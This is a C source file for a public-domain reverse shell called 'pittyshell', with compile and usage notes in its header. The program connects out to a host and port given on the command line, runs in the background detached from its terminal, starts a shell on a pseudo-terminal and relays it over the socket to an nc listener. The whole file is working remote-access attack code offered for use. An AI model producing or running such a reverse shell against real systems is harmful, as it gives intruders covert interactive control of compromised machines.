/* Department of Defense Special Reverse Shell in C
* To compile:
* cc -lutil -opittyshell pittyshell.c
* To run:
* ./pittyshell IP:v4or6:address port [/path/to/]shell [shell args]
* Listen with nc on the other end for the shell.
* Example:
* Start nc in one window: $ nc -l ::1 34343
* Then in another window: $ ./pittyshell ::1 34343 /bin/sh
*
* To be clear, this is PUBLIC DOMAIN SOFTWARE -- I wrote it.
* You are free to incorporate your changes, BSD it, GPL it, or
* go off in a corner somewhere and circle-c your own version of it.
* I don't care how you attribute it. Just don't take my last copy
* of it and don't prevent me from publishing it.
*
* I'm not planning to travel to Germany anytime soon, in case
* anybody's wondering.
*
* Incorporated fix for bug reported by Ted Unangst -- please test.
* To do: make it work over SSL.
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <termios.h>
#include <signal.h>
/* forkpty() is declared in either util.h (for BSD) or pty.h (for Linux) */
#ifdef HAVE_UTIL_H
#include <util.h>
#endif
#ifdef HAVE_PTY_H
#include <pty.h>
#endif
int main(int argc, char **argv) {
int k, m, n, af, pf, sock, devnull, shell, in, out, pid;
pid_t terminal;
FILE *sockfp;
u_int16_t port; /* Call htons() to convert to network byte order. */
size_t sockstructlen;
union { /* A union is the correct way to handle socket structures. */
struct sockaddr sock;
struct sockaddr_in sock4;
struct sockaddr_in6 sock6;
} sockaddru;
char buf[8192];
memset(&sockaddru, 0, sizeof(sockaddru));
if (argc < 4) exit(1);
sscanf(argv[2], "%hu", &port);
if (strpbrk(argv[1], ".") != NULL) { /* IPv4 dotted quad */
af = AF_INET; pf = PF_INET; sockstructlen = sizeof(sockaddru.sock4);
inet_pton(af, argv[1], &sockaddru.sock4.sin_addr);
sockaddru.sock4.sin_port = htons(port); /* network byte order--big endian */
} else
if (strpbrk(argv[1], ":") != NULL) { /* looks more like an IPv6 address. */
af = AF_INET6; pf = PF_INET6; sockstructlen = sizeof(sockaddru.sock6);
inet_pton(af, argv[1], &sockaddru.sock6.sin6_addr);
sockaddru.sock6.sin6_port = htons(port);
/* There might be a few more things to do for IPv6 */
} else {/* We need to bail out here. */}
sockaddru.sock.sa_family=af; /* This is valid for any address family. */
sock = socket(af, SOCK_STREAM, 0); if (sock < 0) exit(1);
if (connect(sock, &sockaddru.sock, sockstructlen) != 0) exit(2);
sockfp = fdopen(sock, "r+"); if (sockfp == NULL) exit(3);
fprintf(sockfp, "%s", "Socket opened. Closing STDIO file descriptors...\n");
fflush(sockfp);
devnull = open("/dev/null", O_RDWR, 0);
if (devnull < 0 ||
dup2(devnull, STDIN_FILENO) < 0 ||
dup2(devnull, STDOUT_FILENO) < 0 ||
dup2(devnull, STDERR_FILENO) < 0 )
exit(4);
fprintf(sockfp, "%s", "File descriptors closed. Daemonizing...\n");
fflush(sockfp);
if(fork() || (setsid(),fork())) _exit(0);
fprintf(sockfp, "%s", "Daemonized. Starting terminal...\n"); fflush(sockfp);
terminal = forkpty(&shell, NULL, NULL, NULL);
switch (terminal) {
case 0:
fprintf(stderr, "%s", "Terminal started. Executing shell...\n");
execvp(argv[3], argv + 3);
case (-1):
fprintf(sockfp, "%s", "Failed to start shell. Exiting...\n");
exit(5);
} /* only the parent leaves the switch statement */
signal(SIGPIPE, SIG_IGN);
fprintf(sockfp, "%s", "Forking for I/O...\n"); fflush(sockfp);
pid = fork();
if (pid < 0) {
fprintf(sockfp, "%s", "Failed to fork for I/O. Exiting...\n");
exit(6);
} else
if (pid == 0) in = sock, out = shell;
else in = shell, out = sock;
while (n = read(in, buf, 8192), n > 0) {
for (m = 0; m < n; m += k) {
k = write(out, buf + m, n - m);
if (k < 1) break;
}
if (k < 1) break;
}
shutdown(sock, pid ? SHUT_WR : SHUT_RD);
}